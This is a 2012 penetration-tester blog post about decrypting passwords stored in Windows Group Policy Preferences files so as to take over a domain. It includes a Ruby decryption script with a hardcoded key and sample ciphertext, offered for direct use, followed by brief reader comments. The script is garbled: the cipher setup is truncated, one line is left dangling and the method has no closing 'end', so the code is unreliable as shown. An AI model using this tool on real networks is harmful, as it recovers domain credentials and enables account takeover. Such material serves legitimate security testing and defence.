Friday, October 19, 2012

Group Policy Preferences and Getting Your Domain 0wned

So i put this link out on twitter but forgot to put it on the blog.

I did a talk at the Oct 20012 NovaHackers meeting on exploiting 2008 Group Policy Preferences (GPP) and how they can be used to set local users and passwords via group policy.

 I've run into this on a few tests where people are taking advantage of this exteremely handy feature to set passwords across the whole domain, and then allowing users or attackers the ability to decrypt these passwords and subsequently 0wning everything :-)

 So here are the slides:

Exploiting Group Policy Preferences from chrisgates

Blog post explaining the issue in detail:

Metasploit post module:

PowerShell module to do it:

I ended up writing some ruby to do it (the blog post has some python) because the metasploit module was downloading the xml file to loot but taking a poop prior to getting to the decode part.  now you can do it yourself:

require 'rubygems'
require 'openssl'
require 'base64'

encrypted_data = "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"

def decrypt(encrypted_data)
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
decoded = Base64.decode64(epassword)

key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
aes ="AES-256-CBC")
aes.key = key
plaintext = aes.update(decoded)
plaintext <<
pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion

return pass

blah = decrypt(encrypted_data)
puts blah

In Action:

user@ubuntu:~$ ruby gpp-decrypt-string.rb



Meatballs said...

What is wrong with the module? Send me details and I'll try and fix :)

CG said...

it will download the xml to loot but not ever decode it.

Meatballs said...

If you can send me the file I'll give it a try, what os version generates it? XML parsing currently works for me, the domain stuff is the flakey bit!

eat_meatballs [at] uk

CG said...

unfortunately i dont have a copy of the file. and its mostly exhibiting the behavior on remote tests.